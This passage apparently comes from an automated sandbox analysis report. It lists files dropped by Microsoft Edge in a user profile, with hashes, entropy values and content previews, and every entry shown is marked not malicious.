SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9d6f44e-52d2-473a-a424-ebf347c13ff0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17524), with no line terminators
Category:	dropped
Size (bytes):	17525
Entropy (8bit):	5.4885604342672
Encrypted:	false
SSDEEP:	384:stt+PGQSu4usrYfhnSOatriPfObG+QwQ6WilaTYq:sWOXuWYf8OgbGN3AaTYq
MD5:	B79A881DD79C67ED9F19F4F7A17B5229
SHA1:	666CF8539FD2134A9D8766D0E5F8D582F733448F
SHA-256:	1F2B86DAF058354F6853C882ED6072E53ACD87E4D3A44260FF71EF699E45CFC3
SHA-512:	B29209E3B2BB82C0E590A6B15F3E0880D6FE0512B29942938AA4E14024B5131B25548A17FFB627F39515821F47AB6DCA2B0F7755B0FA0B7B3FA72687B59321E4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c02f6041-10fb-4cd6-96f8-43b428ea5873.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c29b52d8-e9a2-46a7-af06-a95a911cae9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17524), with no line terminators
Category:	dropped
Size (bytes):	17525
Entropy (8bit):	5.488727059020836
Encrypted:	false
SSDEEP:	384:stt+PGQSu4usrYfhnSOatriPfObG+QwQ6WblaTYq:sWOXuWYf8OgbGN3NaTYq
MD5:	26138D5A5C6C88F1A46D6CCD04EBC1DC
SHA1:	14C33B280230A9AB66ABDBD8F078C40CC4BB0B8C
SHA-256:	CE04D8630F6E69CABB81A872D7054D978056CB6D9890D676C989B2A260E7F93F
SHA-512:	CE0368E8EE5B94C9C2D391CF3AC5EC86D49E498F4D0592163224FF3BC0FFB43123DD947A198F95E70CCDA26203C10D70844426142C9F46E38113AF576C829CE2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10217201200642383
Encrypted:	false
SSDEEP:	12:+GH0XGH0QspEjVl/PnnnnnnnnnnnvoQ/Eou:+A0XA0VoPnnnnnnnnnnnv1j
MD5:	A319B4631B9C4F2017371E9050C2B69C
SHA1:	5C0B3C3BE525FE0A5887DD5E9EC6BF2209A74687
SHA-256:	87B4A1DA98D88F74C4BEA86D1D981122294C84C7034CD8F7CF37C5AB66E41320
SHA-512:	40EA97C6880A5B93625873036B03806220999B68F995AFEF492C41DFBAE568AE55A5DE42B6297834B32A84F71C00F04BA9DDF04F7E02376AD7F23AACD15B6453
Malicious:	false
Preview:	..-.............M........Qm....4.4..}..N...[.UH..-.............M........Qm....4.4..}..N...[.UH........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.889762482961565
Encrypted:	false
SSDEEP:	384:G2pUWBGEL7lIpTZcJTVaLvTv1hTlqATzatTp8Z1tTMmCv8NyCyv0ygyxdyvxyBU:H94FkBUrDhPfOV4Btb
MD5:	4E0D556C0D14284A2B00C8B2A778485D
SHA1:	C798D0D06F5E60A51EB28DB708127D9DDFC80A64
SHA-256:	61BFE067BC94D4699B4A3EA998C5D5E784AC1A387D65C41B6F9F0D8B1B51A81D
SHA-512:	2D62A1A71FF57C73AB7D8609C8328E94F98E337AA525767E56A9CD143F6209F37404A2840D30DA96EB2DE549070738AE7705AF92BC6A7BB2ACCB7FAEE36296F7
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.5003147496815985
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuEillf8DV:iD0l8
MD5:	27DD897C21A36F8AF5178DC2C64AC507
SHA1:	662CBB7F376B08BA622655F8614C7FEA927A7E0B
SHA-256:	00D5604938C74EB32B255B89FDF74B15789575CD99C700AAE4A963493388C741
SHA-512:	1F83E897A2F14BAA244060662295C6C1F22DF56E895A5D0736E8950C013ABFEEDB9D562CAE543D502FB46452CE72590F1D8C0F52271BFF3683329FF11AC36669
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............\|sd.:...............#38_h.......6.Z..W.F.....Q._.....Q._.........V.e...................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.221014650086649
Encrypted:	false
SSDEEP:	6:HS+q2P923oH+TcwtfrK+IFUt8YnZmw+YFVkwO923oH+TcwtfrUeLJ:Dv4Yeb23FUt8I/++5LYeb3J
MD5:	C168EAFE3BDB84574E3739ED383D17F4
SHA1:	062DE682C5E7E8B9F9B18BD7D460E30C7442FFD0
SHA-256:	209BC8B6489BF132231BC68D75C601F986DB5856FEFC460248B5A493FED404C2
SHA-512:	73DE939CC897349F683A4858E213125DA4021037A7C3750D5F70BDDE5BDF9718C0BB66ADCD022F075181B1E8012C3CCCCECA5E5FBAA1387425E84D2F13C4E507
Malicious:	false
Preview:	2024/11/22-19:14:17.333 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-19:14:17.334 1d38 Recovering log #3.2024/11/22-19:14:17.336 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.221014650086649
Encrypted:	false
SSDEEP:	6:HS+q2P923oH+TcwtfrK+IFUt8YnZmw+YFVkwO923oH+TcwtfrUeLJ:Dv4Yeb23FUt8I/++5LYeb3J
MD5:	C168EAFE3BDB84574E3739ED383D17F4
SHA1:	062DE682C5E7E8B9F9B18BD7D460E30C7442FFD0
SHA-256:	209BC8B6489BF132231BC68D75C601F986DB5856FEFC460248B5A493FED404C2
SHA-512:	73DE939CC897349F683A4858E213125DA4021037A7C3750D5F70BDDE5BDF9718C0BB66ADCD022F075181B1E8012C3CCCCECA5E5FBAA1387425E84D2F13C4E507
Malicious:	false
Preview:	2024/11/22-19:14:17.333 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-19:14:17.334 1d38 Recovering log #3.2024/11/22-19:14:17.336 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.207769613312
Encrypted:	false
SSDEEP:	6:Hggt+q2P923oH+TcwtfrzAdIFUt8YyaXZmw+Yya3VkwO923oH+TcwtfrzILJ:gv4Yeb9FUt8RaX/+RaF5LYeb2J
MD5:	3D5C0E285BF605FE5A02526C66E195CC
SHA1:	BF6A7D35A221E75348CF1554A7F1307AE7097394
SHA-256:	1989BBF71AE5D3121D9BA6FCDF7BBE2B1BF4C2D386291B475ACC95DF2F079B20
SHA-512:	D235128B25D16C31E9E7C12FDFB636C8999A80AD777FA012B836DEE5DD19CE254E4F557D418DBBEC6C80F3ED7ED6B0C6E744761437B03A351DEFD2C1C9405242
Malicious:	false
Preview:	2024/11/22-19:14:17.325 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-19:14:17.327 1d38 Recovering log #3.2024/11/22-19:14:17.327 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.207769613312
Encrypted:	false
SSDEEP:	6:Hggt+q2P923oH+TcwtfrzAdIFUt8YyaXZmw+Yya3VkwO923oH+TcwtfrzILJ:gv4Yeb9FUt8RaX/+RaF5LYeb2J
MD5:	3D5C0E285BF605FE5A02526C66E195CC
SHA1:	BF6A7D35A221E75348CF1554A7F1307AE7097394
SHA-256:	1989BBF71AE5D3121D9BA6FCDF7BBE2B1BF4C2D386291B475ACC95DF2F079B20
SHA-512:	D235128B25D16C31E9E7C12FDFB636C8999A80AD777FA012B836DEE5DD19CE254E4F557D418DBBEC6C80F3ED7ED6B0C6E744761437B03A351DEFD2C1C9405242
Malicious:	false
Preview:	2024/11/22-19:14:17.325 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-19:14:17.327 1d38 Recovering log #3.2024/11/22-19:14:17.327 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36d61.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36d71.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36f65.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09077881558164
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMlwuF9hDO6vP6O+Gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6Ltbz8hu3VlXr4CRo1
MD5:	E9DAD5C6066BED4C4C8229BC1B477BCC
SHA1:	65AFAC33E59C67CBDBB3893360EE46039F8C9EAB
SHA-256:	C5215C05DA5523E2330B16558DC67414A11BE68AEA1110D48E1AF9CA16E0C89E
SHA-512:	9854CD17EFA6B11C1250CF7561B38C8E985C09E6F4EB37C2DB1E293BDA04258A89DD52A29CEB5E3DBFF24C12151821BF01C41D7685944A8FD38B5C92C46E4273
Malicious:	false
